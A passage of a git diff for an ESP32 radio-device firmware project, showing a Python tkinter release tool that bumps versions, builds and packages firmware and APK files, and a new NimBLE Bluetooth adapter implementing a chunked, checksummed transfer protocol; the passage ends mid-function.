fg="#00e676", + font=("Consolas", 14, "bold")) + title_label.pack(pady=(10, 5)) + + # ── Main frame ── + main_frame = ttk.Frame(root) + main_frame.pack(fill=tk.BOTH, expand=True, padx=15, pady=5) + + # ════════════════════════════════════════════ + # FIRMWARE section + # ════════════════════════════════════════════ + fw_frame = ttk.LabelFrame(main_frame, text=" Firmware ") + fw_frame.pack(fill=tk.X, pady=(0, 8)) + + fw_row1 = ttk.Frame(fw_frame) + fw_row1.pack(fill=tk.X, padx=10, pady=4) + + ttk.Label(fw_row1, text=f"Current: {current_fw}").pack(side=tk.LEFT) + + fw_bump_var = tk.StringVar(value="patch") + ttk.Label(fw_row1, text=" Bump:").pack(side=tk.LEFT, padx=(20, 5)) + for b in ("major", "minor", "patch"): + ttk.Radiobutton(fw_row1, text=b.capitalize(), value=b, + variable=fw_bump_var).pack(side=tk.LEFT, padx=2) + + fw_new_ver = tk.StringVar(value=bump_version(current_fw, "patch")) + + def on_fw_bump_change(*_): + fw_new_ver.set(bump_version(current_fw, fw_bump_var.get())) + fw_bump_var.trace_add("write", on_fw_bump_change) + + fw_row2 = ttk.Frame(fw_frame) + fw_row2.pack(fill=tk.X, padx=10, pady=2) + ttk.Label(fw_row2, text="New version:").pack(side=tk.LEFT) + fw_ver_entry = ttk.Entry(fw_row2, textvariable=fw_new_ver, width=12) + fw_ver_entry.pack(side=tk.LEFT, padx=5) + + fw_build_var = tk.BooleanVar(value=True) + ttk.Checkbutton(fw_row2, text="Build firmware (pio run)", + variable=fw_build_var).pack(side=tk.LEFT, padx=10) + + fw_row3 = ttk.Frame(fw_frame) + fw_row3.pack(fill=tk.X, padx=10, pady=2) + + fw_test_var = tk.BooleanVar(value=False) + ttk.Checkbutton(fw_row3, text="TEST BUILD (adds -TEST suffix, no version bump)", + variable=fw_test_var).pack(side=tk.LEFT) + + fw_nobump_var = tk.BooleanVar(value=False) + ttk.Checkbutton(fw_row3, text="Keep current version (no bump)", + variable=fw_nobump_var).pack(side=tk.LEFT, padx=(20, 0)) + + # Firmware changelog + ttk.Label(fw_frame, text="Changelog (one per line, optionally [feature]/[fix]/[improvement]):").pack( + anchor=tk.W, padx=10, pady=(4, 0)) + fw_changelog = scrolledtext.ScrolledText( + fw_frame, height=4, bg="#1a1a1a", fg="#d4eed4", + insertbackground="#00e676", font=("Consolas", 10), + relief=tk.FLAT, wrap=tk.WORD) + fw_changelog.pack(fill=tk.X, padx=10, pady=(2, 8)) + + # ════════════════════════════════════════════ + # APP section + # ════════════════════════════════════════════ + app_frame = ttk.LabelFrame(main_frame, text=" Mobile App ") + app_frame.pack(fill=tk.X, pady=(0, 8)) + + app_row1 = ttk.Frame(app_frame) + app_row1.pack(fill=tk.X, padx=10, pady=4) + + ttk.Label(app_row1, text=f"Current: {current_app}").pack(side=tk.LEFT) + + app_bump_var = tk.StringVar(value="patch") + ttk.Label(app_row1, text=" Bump:").pack(side=tk.LEFT, padx=(20, 5)) + for b in ("major", "minor", "patch"): + ttk.Radiobutton(app_row1, text=b.capitalize(), value=b, + variable=app_bump_var).pack(side=tk.LEFT, padx=2) + + app_new_ver = tk.StringVar(value=bump_version(current_app, "patch")) + + def on_app_bump_change(*_): + app_new_ver.set(bump_version(current_app, app_bump_var.get())) + app_bump_var.trace_add("write", on_app_bump_change) + + app_row2 = ttk.Frame(app_frame) + app_row2.pack(fill=tk.X, padx=10, pady=2) + ttk.Label(app_row2, text="New version:").pack(side=tk.LEFT) + app_ver_entry = ttk.Entry(app_row2, textvariable=app_new_ver, width=12) + app_ver_entry.pack(side=tk.LEFT, padx=5) + + app_build_var = tk.BooleanVar(value=True) + ttk.Checkbutton(app_row2, text="Build APK (flutter build apk)", + variable=app_build_var).pack(side=tk.LEFT, padx=10) + + app_row3 = ttk.Frame(app_frame) + app_row3.pack(fill=tk.X, padx=10, pady=2) + + app_test_var = tk.BooleanVar(value=False) + ttk.Checkbutton(app_row3, text="TEST BUILD (adds -TEST suffix, no version bump)", + variable=app_test_var).pack(side=tk.LEFT) + + app_nobump_var = tk.BooleanVar(value=False) + ttk.Checkbutton(app_row3, text="Keep current version (no bump)", + variable=app_nobump_var).pack(side=tk.LEFT, padx=(20, 0)) + + # App changelog + ttk.Label(app_frame, text="Changelog (one per line, optionally [feature]/[fix]/[improvement]):").pack( + anchor=tk.W, padx=10, pady=(4, 0)) + app_changelog = scrolledtext.ScrolledText( + app_frame, height=4, bg="#1a1a1a", fg="#d4eed4", + insertbackground="#00e676", font=("Consolas", 10), + relief=tk.FLAT, wrap=tk.WORD) + app_changelog.pack(fill=tk.X, padx=10, pady=(2, 8)) + + # ════════════════════════════════════════════ + # Action Buttons + # ════════════════════════════════════════════ + btn_frame = ttk.Frame(main_frame) + btn_frame.pack(fill=tk.X, pady=4) + + def do_release_fw(): + threading.Thread(target=_release_firmware, daemon=True).start() + + def do_release_app(): + threading.Thread(target=_release_app, daemon=True).start() + + def do_release_both(): + threading.Thread(target=_release_both, daemon=True).start() + + ttk.Button(btn_frame, text="Release Firmware", + command=do_release_fw).pack(side=tk.LEFT, padx=4) + ttk.Button(btn_frame, text="Release App", + command=do_release_app).pack(side=tk.LEFT, padx=4) + ttk.Button(btn_frame, text="Release Both", + command=do_release_both).pack(side=tk.LEFT, padx=4) + ttk.Button(btn_frame, text="Prepare Environment", + command=lambda: threading.Thread( + target=lambda: prepare_environment(log_callback=log), + daemon=True).start()).pack(side=tk.LEFT, padx=4) + + # ════════════════════════════════════════════ + # Log output + # ════════════════════════════════════════════ + log_frame = ttk.LabelFrame(main_frame, text=" Log ") + log_frame.pack(fill=tk.BOTH, expand=True, pady=(4, 0)) + + log_text = scrolledtext.ScrolledText( + log_frame, height=10, bg="#020a02", fg="#00ff41", + insertbackground="#00e676", font=("Consolas", 10), + relief=tk.FLAT, wrap=tk.WORD, state=tk.DISABLED) + log_text.pack(fill=tk.BOTH, expand=True, padx=4, pady=4) + + def log(msg: str): + def _append(): + log_text.config(state=tk.NORMAL) + log_text.insert(tk.END, msg + "\n") + log_text.see(tk.END) + log_text.config(state=tk.DISABLED) + root.after(0, _append) + + # ── Release logic ── + + def _release_firmware(): + is_test = fw_test_var.get() + is_nobump = fw_nobump_var.get() + version = fw_new_ver.get().strip() + + if is_test or is_nobump: + # Use current version, don't bump + version = current_fw + label = "TEST BUILD" if is_test else "Release (no version bump)" + log(f"=== Firmware {label} v{version} ===") + else: + if not re.match(r'^\d+\.\d+\.\d+$', version): + log("ERROR: Invalid firmware version format. Use X.Y.Z") + return + log(f"=== Firmware Release v{version} ===") + # Update config.h + log(f"Updating config.h -> {version}") + write_firmware_version(version) + + suffix = "-TEST" if is_test else "" + + if fw_build_var.get(): + bin_path = build_firmware(log_callback=log) + if bin_path is None: + log("ABORTED: Firmware build failed.") + return + else: + bin_path = PIO_BUILD_DIR / "firmware.bin" + if not bin_path.exists(): + log("ERROR: No firmware.bin found. Enable 'Build firmware' or run pio manually.") + return + log(f"Using existing firmware.bin ({bin_path.stat().st_size / 1024:.1f} KB)") + + # Package + package_firmware_release(version, bin_path, log_callback=log, + test_build=is_test) + + # Changelog (skip for TEST builds) + if not is_test: + changes = fw_changelog.get("1.0", tk.END).strip() + if changes: + add_changelog_entry("firmware", version, changes) + log("Changelog updated.") + + log(f"OK: Firmware v{version}{suffix} release ready in releases/firmware/") + log("") + log("Which binary to use:") + log(f" OTA update (from app/BLE): evilcrow-v2-fw-v{version}{suffix}-OTA.bin") + log(f" Web flasher / first flash: evilcrow-v2-fw-v{version}{suffix}-full.bin") + log(f" esptool manual flash: esptool.py write_flash 0x0 evilcrow-v2-fw-v{version}{suffix}-full.bin") + if not is_test: + log("") + log(f" Git tag: git tag fw-v{version} && git push origin fw-v{version}") + log("") + + def _release_app(): + is_test = app_test_var.get() + is_nobump = app_nobump_var.get() + version = app_new_ver.get().strip() + + if is_test or is_nobump: + version = current_app + label = "TEST BUILD" if is_test else "Release (no version bump)" + log(f"=== App {label} v{version} ===") + else: + if not re.match(r'^\d+\.\d+\.\d+$', version): + log("ERROR: Invalid app version format. Use X.Y.Z") + return + log(f"=== App Release v{version} ===") + # Update pubspec.yaml + log(f"Updating pubspec.yaml -> {version}") + write_app_version(version) + + suffix = "-TEST" if is_test else "" + + if app_build_var.get(): + apk_path = build_apk(log_callback=log) + if apk_path is None: + log("ABORTED: APK build failed.") + return + else: + apk_path = PROJECT_ROOT / "mobile_app" / "build" / "app" / "outputs" / "flutter-apk" / "app-release.apk" + if not apk_path.exists(): + log("ERROR: No app-release.apk found. Enable 'Build APK' or run flutter manually.") + return + log(f"Using existing APK ({apk_path.stat().st_size / (1024*1024):.1f} MB)") + + # Package + package_app_release(version, apk_path, log_callback=log, + test_build=is_test) + + # Changelog (skip for TEST builds) + if not is_test: + changes = app_changelog.get("1.0", tk.END).strip() + if changes: + add_changelog_entry("app", version, changes) + log("Changelog updated.") + + log(f"OK: App v{version}{suffix} release ready in releases/app/") + if not is_test: + log(f" Git tag: git tag app-v{version} && git push origin app-v{version}") + log("") + + def _release_both(): + _release_firmware() + _release_app() + log("=== Both releases complete ===") + + # Show tool discovery status + pio = find_platformio_cli() + flutter = find_flutter_cli() + log(f"Project root: {PROJECT_ROOT}") + log(f"Firmware version: {current_fw}") + log(f"App version: {current_app}") + log(f"PlatformIO: {pio or 'NOT FOUND - firmware build will fail'}") + log(f"Flutter: {flutter or 'NOT FOUND - APK build will fail'}") + log("Ready. Select bump type, write changelogs, and click Release.") + log("") + + root.mainloop() + + +# ===================================================================== +# Main entry point +# ===================================================================== + +def main(): + args = sys.argv[1:] + + if "--help" in args or "-h" in args: + print(__doc__) + return + + # CLI flags + build_fw = "--fw" in args + build_app = "--apk" in args + is_cli = "--cli" in args + is_prepare = "--prepare" in args + is_test = "--test" in args + is_nobump = "--no-bump" in args + bump = "patch" + for a in args: + if a.startswith("--bump="): + bump = a.split("=", 1)[1] + + if is_prepare: + prepare_environment() + elif is_cli: + cli_interactive() + elif build_fw or build_app: + # Direct CLI build (non-interactive) + if build_fw: + cli_release_firmware(bump, test_build=is_test, no_bump=is_nobump) + if build_app: + cli_release_apk(bump, test_build=is_test, no_bump=is_nobump) + else: + # Default: launch GUI + try: + launch_gui() + except ImportError: + print("Tkinter not available. Use --cli or --fw/--apk flags.") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/src/core/ble/BleAdapter.cpp b/src/core/ble/BleAdapter.cpp new file mode 100644 index 0000000..8017d19 --- /dev/null +++ b/src/core/ble/BleAdapter.cpp @@ -0,0 +1,764 @@ +#include "BleAdapter.h" +#include "Request.h" +#include "ClientsManager.h" +#include "SD.h" +#include +#include +#include +#include +#include "ConfigManager.h" + +static const char* TAG = "BleAdapter"; + +extern ClientsManager& clients; + +// Static member definitions +const char* BleAdapter::SERVICE_UUID = "6e400001-b5a3-f393-e0a9-e50e24dcca9e"; +const char* BleAdapter::CHARACTERISTIC_UUID_TX = "6e400003-b5a3-f393-e0a9-e50e24dcca9e"; +const char* BleAdapter::CHARACTERISTIC_UUID_RX = "6e400002-b5a3-f393-e0a9-e50e24dcca9e"; + +BleAdapter* BleAdapter::instance = nullptr; +SemaphoreHandle_t BleAdapter::sendChunkMutex = nullptr; + +BleAdapter::BleAdapter() : pServer(nullptr), pService(nullptr), pTxCharacteristic(nullptr), pRxCharacteristic(nullptr), serverCallbacks(nullptr), characteristicCallbacks(nullptr) { + instance = this; + // Create mutex for sendSingleChunk static buffer protection + if (sendChunkMutex == nullptr) { + sendChunkMutex = xSemaphoreCreateMutex(); + } +} + +BleAdapter::~BleAdapter() { + // Clean up callback objects + if (serverCallbacks) { + delete serverCallbacks; + serverCallbacks = nullptr; + } + if (characteristicCallbacks) { + delete characteristicCallbacks; + characteristicCallbacks = nullptr; + } +} + +void BleAdapter::begin() { + ESP_LOGI(TAG, "Initializing NimBLE adapter"); + ESP_LOGI(TAG, "Free heap before BLE init: %d bytes", ESP.getFreeHeap()); + + // Initialize NimBLE device with configurable name from settings + const char* bleName = ConfigManager::getDeviceName(); + NimBLEDevice::init(bleName); + ESP_LOGI(TAG, "NimBLE device initialized with name: %s", bleName); + + // Request higher MTU for better throughput + NimBLEDevice::setMTU(512); + ESP_LOGI(TAG, "NimBLE MTU set to 512 bytes"); + + // Create BLE server + pServer = NimBLEDevice::createServer(); + ESP_LOGD(TAG, "NimBLE server created"); + + // Create callbacks with proper memory management + serverCallbacks = new ServerCallbacks(this); + characteristicCallbacks = new CharacteristicCallbacks(this); + + if (serverCallbacks == nullptr || characteristicCallbacks == nullptr) { + ESP_LOGE(TAG, "Failed to allocate memory for BLE callbacks"); + if (serverCallbacks) delete serverCallbacks; + if (characteristicCallbacks) delete characteristicCallbacks; + return; // Cannot continue without callbacks + } + + ESP_LOGD(TAG, "NimBLE callbacks created"); + pServer->setCallbacks(serverCallbacks); + + // Create BLE service + pService = pServer->createService(SERVICE_UUID); + ESP_LOGD(TAG, "NimBLE service created with UUID: %s", SERVICE_UUID); + + // Create TX characteristic (notify) + // NimBLE auto-creates the CCCD (0x2902) descriptor when NOTIFY property is set + pTxCharacteristic = pService->createCharacteristic( + CHARACTERISTIC_UUID_TX, + NIMBLE_PROPERTY::NOTIFY + ); + ESP_LOGD(TAG, "TX characteristic created with UUID: %s", CHARACTERISTIC_UUID_TX); + + // Create RX characteristic (write) + pRxCharacteristic = pService->createCharacteristic( + CHARACTERISTIC_UUID_RX, + NIMBLE_PROPERTY::WRITE + ); + pRxCharacteristic->setCallbacks(characteristicCallbacks); + ESP_LOGD(TAG, "RX characteristic created with UUID: %s", CHARACTERISTIC_UUID_RX); + + // Start the service + pService->start(); + ESP_LOGD(TAG, "NimBLE service started"); + + // Start advertising + NimBLEAdvertising *pAdvertising = NimBLEDevice::getAdvertising(); + pAdvertising->addServiceUUID(SERVICE_UUID); + pAdvertising->setScanResponse(true); + pAdvertising->start(); + ESP_LOGD(TAG, "NimBLE advertising started"); + + ESP_LOGI(TAG, "NimBLE Server started, waiting for connections..."); + ESP_LOGI(TAG, "Free heap after BLE init: %d bytes", ESP.getFreeHeap()); +} + +void BleAdapter::notify(String type, std::string message) { + if (!message.empty()) { + // Check if this is a binary message (0x80-0xFF) + // Use unsigned char to avoid sign issues + uint8_t firstByte = static_cast(static_cast(message[0])); + ESP_LOGD(TAG, "notify: firstByte=0x%02X, length=%d", firstByte, message.length()); + + // Declare variables for both BLE and Serial + String binaryData; + String response; + + if (firstByte >= 0x80) { + // BINARY MESSAGE: Send directly without JSON wrapper + ESP_LOGD(TAG, "Binary message detected: 0x%02X, length=%d bytes", firstByte, message.length()); + // Convert std::string to String (binary data preserved) + binaryData.reserve(message.length()); + for (size_t i = 0; i < message.length(); i++) { + binaryData += (char)message[i]; + } + if (deviceConnected) { + sendBinaryResponse(binaryData); + } + } else { + // JSON MESSAGE: Wrap in JSON structure + response.reserve(message.length() + type.length() + 50); // +50 for JSON structure + + if (message[0] != '{' && message[0] != '[') { + response = "{\"type\":\"" + type + "\", \"data\":\"" + String(message.c_str()) + "\"}"; + } else { + response = "{\"type\":\"" + type + "\", \"data\":" + String(message.c_str()) + "}"; + } + + ESP_LOGD(TAG, "notify: response length=%d", response.length()); + if (response.length() > 100) { + ESP_LOGD(TAG, "Response start: %.100s", response.c_str()); + ESP_LOGD(TAG, "Response end: %s", response.c_str() + response.length() - 100); + } + + if (deviceConnected) { + // Send response using binary protocol + sendBinaryResponse(response); + } + } + + // If command was from serial, also send to Serial + if (isSerialCommand) { + if (firstByte >= 0x80) { + // Binary message: send raw bytes + Serial.write(binaryData.c_str(), binaryData.length()); + } else { + // JSON message: send as string + Serial.println(response); + } + // Reset flag after sending + isSerialCommand = false; + } + } +} + +void BleAdapter::processBinaryData(uint8_t *data, size_t len) { + ESP_LOGD(TAG, "Processing binary data, length: %zu", len); + + // Small hex preview for short binary messages to aid debugging (works for both BLE and serial) + if (len > 0 && len <= 16) { + char hexPreview[3 * 16 + 1] = {0}; + for (size_t i = 0; i < len; ++i) { + snprintf(hexPreview + i * 3, 4, "%02X ", data[i]); + } + ESP_LOGI(TAG, "payload preview (%zu bytes): %s", len, hexPreview); + } + + // Cleanup old uploads periodically (every 100 packets to avoid overhead) + static uint32_t cleanupCounter = 0; + if (++cleanupCounter % 100 == 0) { + cleanupOldUploads(); + } + + if (len < PACKET_HEADER_SIZE + 1) { // header (7 bytes) + checksum (1 byte) = 8 bytes minimum + ESP_LOGW(TAG, "Message too short: %zu bytes", len); + notifyError("Message too short"); + return; + } + + // Extract packet fields (enhanced protocol format) + // Format: [Magic:1][Type:1][ChunkID:1][ChunkNum:1][TotalChunks:1][DataLen:2][Data:variable][Checksum:1] + uint8_t magic = data[0]; + uint8_t packetType = data[1]; + uint8_t chunkId = data[2]; + uint8_t chunkNum = data[3]; + uint8_t totalChunks = data[4]; + uint16_t dataLength = data[5] | (data[6] << 8); // Little-endian: 2 bytes + + // Validate magic byte + if (magic != MAGIC_BYTE) { + ESP_LOGW(TAG, "Invalid magic byte: 0x%02X", magic); + notifyError("Invalid magic byte"); + return; + } + + // Validate packet type + if (packetType != 0x01) { // DATA packet type + ESP_LOGW(TAG, "Invalid packet type: 0x%02X", packetType); + notifyError("Invalid packet type"); + return; + } + + // Validate data length + if (len < PACKET_HEADER_SIZE + dataLength + 1) { + ESP_LOGW(TAG, "Packet length mismatch: expected %d, got %zu", PACKET_HEADER_SIZE + dataLength + 1, len); + notifyError("Packet length mismatch"); + return; + } + + // Extract payload and checksum + uint8_t *payload = &data[PACKET_HEADER_SIZE]; + uint8_t receivedChecksum = data[PACKET_HEADER_SIZE + dataLength]; + + // Calculate checksum (XOR of all bytes except checksum) + uint8_t calculatedChecksum = 0; + for (size_t i = 0; i < PACKET_HEADER_SIZE + dataLength; i++) { + calculatedChecksum ^= data[i]; + } + + if (receivedChecksum != calculatedChecksum) { + ESP_LOGW(TAG, "Invalid checksum: received 0x%02X, calculated 0x%02X", receivedChecksum, calculatedChecksum); + notifyError("Invalid checksum"); + return; + } + + // Handle chunked vs single packet + if (totalChunks > 1) { + ESP_LOGD(TAG, "Processing chunked packet: chunkId=%d, chunkNum=%d/%d", chunkId, chunkNum, totalChunks); + handleChunkedCommand(chunkId, chunkNum, totalChunks, payload, dataLength); + } else { + ESP_LOGD(TAG, "Processing single packet: chunkId=%d", chunkId); + handleSingleCommand(payload, dataLength); + } +} + +void BleAdapter::handleSingleCommand(uint8_t *payload, size_t payloadLength) { + if (payloadLength < 1) { + notifyError("Empty payload"); + return; + } + + uint8_t messageType = payload[0]; + + // Check if this is an upload command (0x0D) - handle specially even for single packet + // (though uploads should normally be chunked, we handle single packet case too) + if (messageType == 0x0D) { + // Treat as single chunk upload (chunkId=0, chunkNum=1, totalChunks=1) + if (handleUploadChunk(0, 1, 1, payload, payloadLength)) { + return; // Upload handled + } + } + + uint8_t *commandPayload = &payload[1]; + size_t commandPayloadLength = payloadLength - 1; + + ESP_LOGD(TAG, "Handling single command: type=0x%02X, payloadLen=%zu", messageType, commandPayloadLength); + + // Use CommandHandler to execute the command + if (commandHandler_ && commandHandler_->executeCommand(messageType, commandPayload, commandPayloadLength)) { + ESP_LOGD(TAG, "Command executed successfully: 0x%02X", messageType); + } else { + ESP_LOGW(TAG, "Command execution failed: 0x%02X", messageType); + notifyError("Command not supported or execution failed"); + } +} + +void BleAdapter::handleChunkedCommand(uint8_t chunkId, uint8_t chunkNum, uint8_t totalChunks, uint8_t *payload, size_t payloadLength) { + ESP_LOGD(TAG, "Handling chunked command: chunkId=%d, chunkNum=%d/%d, payloadLength=%zu", chunkId, chunkNum, totalChunks, payloadLength); + + // Check if this is an upload command - check by chunkId (if upload is active) or by first byte + bool isUploadCommand = false; + + // Check if we have an active upload for this chunkId + auto uploadIt = fileUploads.find(chunkId); + if (uploadIt != fileUploads.end() && uploadIt->second.isActive) { + isUploadCommand = true; + } else if (payloadLength > 0 && payload[0] == 0x0D) { + // First chunk of upload command + isUploadCommand = true; + } + + if (isUploadCommand) { + if (handleUploadChunk(chunkId, chunkNum, totalChunks, payload, payloadLength)) { + return; // Upload handled + } + } + + // For other chunked commands, use default behavior + if (chunkNum == 1) { + // First chunk - extract command type + if (payloadLength < 1) { + notifyError("Empty chunked command"); + return; + } + + uint8_t messageType = payload[0]; + ESP_LOGD(TAG, "Chunked command type: 0x%02X", messageType); + + // For chunked commands, we'll process them as single commands for now + // In a full implementation, you'd accumulate all chunks first + handleSingleCommand(payload, payloadLength); + } else { + ESP_LOGD(TAG, "Received chunk %d/%d for chunkId %d", chunkNum, totalChunks, chunkId); + // In a full implementation, you'd accumulate this chunk + // For now, we'll just log it + } +} + +void BleAdapter::sendBinaryResponse(const String& data) { + if (!deviceConnected || !pTxCharacteristic) return; + + const char* dataPtr = data.c_str(); + uint16_t dataLen = data.length(); + + // Check if this is a binary message (first byte >= 0x80) + bool isBinaryMessage = (dataLen > 0 && static_cast(static_cast(dataPtr[0])) >= 0x80); + + if (isBinaryMessage) { + // For small binary messages (like ModeSwitch = 4 bytes, SignalDetected = 12 bytes), + // send as single packet to avoid chunking overhead and BLE truncation issues + // For large binary messages (like State = 102 bytes, FileList), use chunking + if (dataLen <= MAX_CHUNK_SIZE) { + sendSingleChunk(0, 1, 1, dataPtr, dataLen); + } else { + // Large binary messages (like MSG_FILE_LIST 0xA1) should use chunking protocol + sendChunkedResponse(data); + } + } else { + // For small text responses, send as single packet + if (dataLen <= MAX_CHUNK_SIZE) { + sendSingleChunk(0, 1, 1, dataPtr, dataLen); + } else { + // For large text responses, use chunking + sendChunkedResponse(data); + } + } +} + +void BleAdapter::sendChunkedResponse(const String& data) { + uint8_t chunkId = esp_random() % 255; // Random chunk ID + uint16_t dataLen = data.length(); + uint8_t totalChunks = (dataLen + MAX_CHUNK_SIZE - 1) / MAX_CHUNK_SIZE; + + ESP_LOGI(TAG, "sendChunkedResponse: data length=%d, totalChunks=%d, chunkId=%d", dataLen, totalChunks, chunkId); + + // CRITICAL: Copy data pointer before loop to ensure it remains valid + // String reference might be destroyed, so we need to ensure data stays alive + const char* dataPtr = data.c_str(); + + // Validate pointer before use + if (dataPtr == nullptr) { + ESP_LOGE(TAG, "Invalid data pointer in sendChunkedResponse"); + return; + } + + for (uint8_t i = 0; i < totalChunks; i++) { + uint8_t chunkNum = i + 1; + uint16_t startPos = i * MAX_CHUNK_SIZE; + uint16_t endPos = std::min((uint16_t)(startPos + MAX_CHUNK_SIZE), dataLen); + uint16_t chunkLen = endPos - startPos; + + // Validate chunk parameters + if (startPos >= dataLen || chunkLen == 0) { + ESP_LOGE(TAG, "Invalid chunk parameters: startPos=%d, dataLen=%d, chunkLen=%d", + startPos, dataLen, chunkLen); + break; + } + + ESP_LOGI(TAG, "Sending chunk %d/%d: chunkId=%d, startPos=%d, chunkLen=%d", + chunkNum, totalChunks, chunkId, startPos, chunkLen); + + // Use pointer directly instead of String::substring to avoid memory allocation + // sendSingleChunk now waits for BLE confirmation via semaphore + sendSingleChunk(chunkId, chunkNum, totalChunks, dataPtr + startPos, chunkLen); + + // CRITICAL: Increased delay between chunks to ensure BLE stack processes each chunk + // BLE notifications are queued, but we need to give the stack time to send them + // First chunk needs extra time to establish the connection state + if (chunkNum == 1) { + vTaskDelay(pdMS_TO_TICKS(50)); // Extra delay for first chunk + } else { + vTaskDelay(pdMS_TO_TICKS(30)); // Standard delay for subsequent chunks + } + } + + // Removed final log to avoid potential memory issues - function should complete silently +} + +void BleAdapter::streamFileData(const uint8_t* header, size_t headerSize, File& file, size_t fileSize) { + if (!deviceConnected || !pTxCharacteristic) return; + + // Calculate total message size and chunks + size_t totalMessageSize = headerSize + fileSize; + uint8_t chunkId = esp_random() % 255; // Random chunk ID + uint8_t totalChunks = (totalMessageSize + MAX_CHUNK_SIZE - 1) / MAX_CHUNK_SIZE; + + // Reduced logging to avoid memory allocation - use ESP_LOGD for detailed info + ESP_LOGD(TAG, "Streaming file: totalSize=%zu, headerSize=%zu, fileSize=%zu, totalChunks=%d", + totalMessageSize, headerSize, fileSize, totalChunks); + + // Buffer for reading file parts + static uint8_t readBuffer[MAX_CHUNK_SIZE]; + + size_t totalSent = 0; + uint8_t chunkNum = 1; + + // First chunk: header + first part of file + size_t firstChunkDataSize = (totalMessageSize > MAX_CHUNK_SIZE) ? + (MAX_CHUNK_SIZE - headerSize) : fileSize; + + // Create first chunk buffer (header + first file part) + static uint8_t firstChunkBuffer[MAX_CHUNK_SIZE]; + memcpy(firstChunkBuffer, header, headerSize); + + if (firstChunkDataSize > 0) { + size_t bytesRead = file.read(firstChunkBuffer + headerSize, firstChunkDataSize); + if (bytesRead != firstChunkDataSize) { + ESP_LOGE(TAG, "Failed to read first chunk: %zu/%zu bytes", bytesRead, firstChunkDataSize); + return; + } + totalSent += bytesRead; + } + + // Send first chunk (sendSingleChunk waits for BLE confirmation) + sendSingleChunk(chunkId, chunkNum, totalChunks, (const char*)firstChunkBuffer, headerSize + (totalSent > 0 ? firstChunkDataSize : 0)); + chunkNum++; + + // Stream remaining file data in chunks + while (file.available() && totalSent < fileSize) { + size_t bytesToRead = (fileSize - totalSent > MAX_CHUNK_SIZE) ? MAX_CHUNK_SIZE : (fileSize - totalSent); + size_t bytesRead = file.read(readBuffer, bytesToRead); + + if (bytesRead == 0) { + ESP_LOGW(TAG, "Read 0 bytes at offset %zu", totalSent); + break; + } + + // Check heap before sending + size_t freeHeap = ESP.getFreeHeap(); + if (freeHeap < 10000) { + ESP_LOGW(TAG, "Low heap: %zu bytes", freeHeap); + vTaskDelay(pdMS_TO_TICKS(50)); + } + + // Send this chunk (waits for BLE confirmation) + sendSingleChunk(chunkId, chunkNum, totalChunks, (const char*)readBuffer, bytesRead); + totalSent += bytesRead; + chunkNum++; + + // Yield to other tasks + vTaskDelay(pdMS_TO_TICKS(5)); + } + + ESP_LOGD(TAG, "File streamed: %zu bytes in %d chunks", totalSent, chunkNum - 1); +} + +void BleAdapter::sendSingleChunk(uint8_t chunkId, uint8_t chunkNum, uint8_t totalChunks, const char* chunkData, uint16_t dataLen) { + if (!deviceConnected || !pTxCharacteristic) return; + + // Limit data length to MAX_CHUNK_SIZE + if (dataLen > MAX_CHUNK_SIZE) { + dataLen = MAX_CHUNK_SIZE; + } + + uint16_t packetSize = PACKET_HEADER_SIZE + dataLen + 1; // +1 for checksum + + // CRITICAL: BLE notify has a hard limit of 509 bytes + // Ensure packet size doesn't exceed this limit + const uint16_t BLE_NOTIFY_MAX_SIZE = 509; + if (packetSize > BLE_NOTIFY_MAX_SIZE) { + // Reduce data length to fit within BLE limit + dataLen = BLE_NOTIFY_MAX_SIZE - PACKET_HEADER_SIZE - 1; + packetSize = PACKET_HEADER_SIZE + dataLen + 1; + ESP_LOGW(TAG, "Packet size exceeds BLE limit, reducing to %d bytes", packetSize); + } + + // Use static buffer instead of VLA (Variable Length Array) + // VLA on stack is dangerous on ESP32 with limited stack size + static const size_t MAX_PACKET_SIZE = PACKET_HEADER_SIZE + MAX_CHUNK_SIZE + 1; + static uint8_t packetBuffer[MAX_PACKET_SIZE]; + + // CRITICAL: Acquire mutex to protect static buffer from concurrent access + // (sendSingleChunk can be called from Core 0 BLE task and Core 1 bruter task) + if (xSemaphoreTake(sendChunkMutex, pdMS_TO_TICKS(100)) != pdTRUE) { + ESP_LOGE(TAG, "Failed to acquire sendChunkMutex, dropping chunk %d/%d", chunkNum, totalChunks); + return; + } + + // Validate packet size + if (packetSize > MAX_PACKET_SIZE) { + ESP_LOGE(TAG, "Packet size %d exceeds maximum %zu", packetSize, MAX_PACKET_SIZE); + xSemaphoreGive(sendChunkMutex); + return; + } + + uint8_t* packet = packetBuffer; // Use static buffer + + // Log first chunk to debug missing chunk issue + if (chunkNum == 1) { + ESP_LOGI(TAG, "Sending FIRST chunk: chunkId=%d, chunkNum=%d/%d, dataLen=%d, packetSize=%d", + chunkId, chunkNum, totalChunks, dataLen, packetSize); + } + + packet[0] = MAGIC_BYTE; // Magic byte + packet[1] = 0x01; // Type: data + packet[2] = chunkId; // Chunk ID + packet[3] = chunkNum; // Chunk number + packet[4] = totalChunks; // Total chunks + packet[5] = dataLen & 0xFF; // Data length (low byte) + packet[6] = (dataLen >> 8) & 0xFF; // Data length (high byte) + + // Copy data using memcpy (faster and no stack allocation for loop counter) + memcpy(packet + 7, chunkData, dataLen); + + // Calculate checksum + packet[7 + dataLen] = calculateChecksum(packet, packetSize - 1); + + // Log first chunk data preview for debugging + if (chunkNum == 1 && dataLen > 0) { + ESP_LOGI(TAG, "First chunk first byte: 0x%02X, magic: 0x%02X", + chunkData[0], packet[0]); + } + + pTxCharacteristic->setValue(packet, packetSize); + pTxCharacteristic->notify(); + + if (chunkNum == 1) { + ESP_LOGI(TAG, "First chunk notify() called, packetSize=%d", packetSize); + } + + // Release mutex before delay + xSemaphoreGive(sendChunkMutex); + + // CRITICAL: Increased delay to allow BLE stack to process and send the notification + // BLE notifications are asynchronous and need time to be queued and transmitted + // This is especially important for the first chunk which may need connection setup + vTaskDelay(pdMS_TO_TICKS(10)); +} + +uint8_t BleAdapter::calculateChecksum(const uint8_t *data, size_t len) { + uint8_t checksum = 0; + for (size_t i = 0; i < len; i++) { + checksum ^= data[i]; + } + return checksum; +} + +// Command handlers (same implementation as WebAdapter) + + +void BleAdapter::notifyError(const char *errorMsg) { + notify("Error", errorMsg); +} + +bool BleAdapter::moduleExists(uint8_t module) { + return module >= 0 && module < CC1101_NUM_MODULES; +} + + +void BleAdapter::cleanupOldUploads() { + uint32_t now = millis(); + auto it = fileUploads.begin(); + while (it != fileUploads.end()) { + if (now - it->second.timestamp > 60000) { // 60 seconds timeout for uploads + if (it->second.isActive && it->second.file) { + it->second.file.close(); + } + it = 